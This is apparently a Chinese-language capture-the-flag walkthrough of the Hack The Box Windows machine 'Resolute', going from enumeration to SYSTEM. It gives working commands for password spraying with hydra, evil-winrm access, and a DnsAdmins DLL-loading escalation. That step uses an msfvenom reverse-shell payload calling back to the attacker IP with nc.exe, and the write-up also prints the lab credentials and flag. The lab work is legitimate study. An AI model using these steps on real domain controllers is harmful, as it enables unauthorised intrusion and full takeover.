Hack-the-Box Resolute

关于

这次选择了难度高一些的靶机做,感觉到了技术实力的不足😭。这是一台Windows系统的服务器,对windows一直不是很了解,仅限于办公和游戏。之前虽说也做过几个windwos的靶机,终究还是难度低,这次学到了不少windows渗透姿势。

信息收集

首先打开nmap开始扫端口,靶机IP为10.10.10.169,扫描命令和结果如下

1
namp -sS -Pn 10.10.10.169

看到靶机开放了许多端口,并没有熟悉的80端口,也就是无法通过网站中的信息来获取user。那么就逐一看看每个窗口都开放了什么服务。首先是135端口开放了msrpc,RPC(Remote Procedure call)是Windows上的一个协议,可以远程调用远程的进程,使进程之间交流通信,网上一张图片清晰的说明了RPC协议的架构

Stub是存根的意思,Client段存储Server地址消息,将客户端请求参数打包发往Server,Server Stub接收消息并解包,调用本地的方法。

观察看到了目标靶机开放了139445两个端口,推测在目标靶机上运行了SMB共享文件和打印的服务。SMB是基于NBT(net bios over tcp/ip)的跨平台共享文件的协议,通常使用137(UDP)、138(UDP)、139(TCP)端口进行通信。除了基于NBT协议,SMB还会通过445端口进行通信,如果445端口无响应,再去联通139端口。

389端口运行ldap服务。LDAP是一种轻量级目录访问协议,可以理解为一种类似于的树状存储信息的数据库。

上面就是这台靶机在低端口中存在的常见服务,特别注意53464端口表明这是一台AD。

更多的关于Windwos端口信息参见官方文档

获取登陆凭证

方法一

针对现有收集到的信息,首先从SMB服务开始寻找机会。尝试SMB空口令列出共享目录信息,发现时需要密码的,尝试失败。

1
smbclient -L 10.10.10.169

看来SMB需要密码才能获取信息,那么突破口就不在这里,将目光锁定在ldap服务上。从nmap扫描中得到的信息来看,这台服务器是运行在megabank.local域下面的,我想查找这个域中还有其他那些用户,使用ldapsearch工具。

1
ldapsearch -x -b "dc=megabank, dc=local" -h 10.10.10.169

理解上面这条命令。首先-x参数开启ldap的简单认证(simple authentication),意思是想服务器发送密码进行登录验证。这种方式使得密码在网络中明文传输不安全故名为简单认证。第二个参数-b表示从searchbase开始查找而不是当下默认位置。关于searchbase的定义我找到如下,大概意思是searchbase定义从ldap树状结构的哪里开始寻找。在本命令中,开始寻找的节点即为megabank.local

上述命令得到了海量搜索结果,因为我们只需要对用户进行搜索,所以可以对命令进行优化,得到了一堆用户名。

1
ldapsearch -x -b "cn=Users, dc=megabank, dc=local" -h 10.10.10.169 | grep dn

仅仅有用户名还不够,想要连接一开始的SMB需要找到用户名相对应的密码才行。装过头来仔细缕一缕曾经探查过的服务,发现还有rpc服务没有仔细的探索。当Windwos管理员很懒惰的时候,也许没有关闭RPC的免密码匿名登陆。使用命令成功连接服务器,进入rpcclient命令交互页面。

1
rpcclient -U "" -N -W=megabank 10.10.10.169

输入help查看有什么可以执行的命令,参考rpcclient官方文档。在这里也可以直接获取域内所有的用户

1
enumdomusers

这个命令是SAMR(Security Account Manager Remote Protocol)协议的命令,可以在rpcclient中执行。其中有许多对与渗透测试信息收集很有用处的命令。执行命令查看显示信息,发现了marko账户创建,并将密码设置为Welcome123!

1
querydispinfo

方法二

使用工具enum4linux,此工具是用来枚举Windows和Samba主机中的信息,包装了smbclient,rpcclient,netnmblookup工具,主要特性有

1
2
3
4
5
6
7
RID循环(当Windows 2000上的RestrictAnonymous设置为1时)
用户列表(当Windows 2000上的RestrictAnonymous设置为0时)
组成员信息列表
共享枚举
检测主机是否在工作组或域中
识别远程操作系统
密码策略检索(使用polenum)

用此工具可以直接获得域内所有用户信息和显示信息,一步获得第一个方法中的全部信息,不得不感叹工具真好用。

获取用户

尝试使用这一组密码登录smbclient失败,但是由于密码特殊,很像是账户创建之后设置的默认密码。既然之前我们已经得到了域内用户信息,将用户名做成字典爆破一下smb客户端,成功获得一组登陆凭证。

1
hydra -L user.txt -p Welcome123! 10.10.10.169 smb

列出SMB共享目录

1
smbclient -L 10.10.10.169 -U melanie%Welcome123!

挨个目录看了一下没有什么有用的信息。既然可以进入smb客户端,就可以用evil-winrm拿shell了。使用以下命令成功getshell。

1
evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!

提权

进入Users目录,发现除了melanie之外还有管理员Administratorryan,当然都没有权限进入他们两个的目录中。查看一下当前用户所拥有的权限和所在用户组,发现几乎没什么权限,所在用户自也很普通。User目录中没什么可以继续收集的信息,返回C盘根目录,发现有一个自己命名的隐藏目录,一路跟进去发现一个叫做PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt的文件,名称后面的一串日期惹人注目,根据经验一般这种明明都是日志一类的信息,结合前面的名字莫不是powershell执行命令的记录?之前只知道Transcript是成绩单的意思,上网上查查字典,发现原来transcript还有文件、打印副本的意思。那这应该就是某一天一个用户在powershell中执行命令的副本了?

我对这个文件有读的权限,打开看看,在里面发现了看起来像是一组登陆凭证的东西

用新得到的这一组用户名密码尝试登录smbclient成功,使用evil-winrm得到此用户的shell。同样扫了一眼用户自己的目录中没有什么有价值的信息。看一眼用户权限以及所有在用户组,同样没什么权限,但与上一个用户不一样的事,这个用户处于MEGABANK/DnsAdmins用户组。

Google一下关于DnsAdmin的漏洞,发现有此权限的用户可以在DNS服务器上远程挂载dll

利用条件:拥有DnsAdmins用户组的权限 对DNS服务对象有写权限

此漏洞可以将一个含有反向shell的dll以系统(SYSTEM)权限挂载到DNS服务器(DC)上,更多关于此漏洞的原理和利用方法可以看这篇文章,利用方法简单概括就是在我本地搭建一个可以被目标DC读取文件的Samba服务器,将恶意dll存储在共享目录中,然后登录拥有DNSAdmin权限的用户,执行挂载命令后重启DC,即可反弹shell到本地。 注意微软原话解释说这是一个特性(Feature),而不是漏洞(Bug)。

下面就开始利用这个特性来反弹shell。首先我需要在我的Kali上搭建一个SMB服务,索性前人已经栽好了树,使用kali已经安装好的impacket工具可以快速搭建,具体使用方法可以看这篇文章,文章中还提及了很多从Linux向Windows传输文件的方法,可以作为后渗透手段学习一下。

首先我们需要制作一个恶意dll文件反弹shell,网上有已经做好的dll可供使用,也可以自己使用msfvenom做一个,网上教程一抓一大把。输入以下命令创建,IP是自己的,端口是用来接收shell的。

1
msfvenom -p windows/x64/exec CMD='\\10.10.14.236\smb\nc.exe 10.10.14.236 6666 -e cmd.exe' -f dll > reverse.dll

新建一个目录作为共享目录,进入目录后执行如下命令开始共享,pwd的意思是共享当前所在目录。同时也用

1
impacket-smbserver share `pwd`

然后在DC上执行

1
dnscmd.exe /config /serverlevelplugindll \\10.10.14.236\smb\reverse.dll

重启dns服务器,使用如下命令。要填写DC的SeverName,可以使用ipconfig /all查看,针对本靶机可以填\\Resolute,也可以不填,默认对本机操作。

1
2
sc.exe \\resolute stop dns
sc.exe \\resolute start dns

看到共享目录日志已经连接到目标DC

同时监听端口也获得了反弹shell,在桌面找到了root.txt。

1
e1d94876a506850d0c20edb5405e619c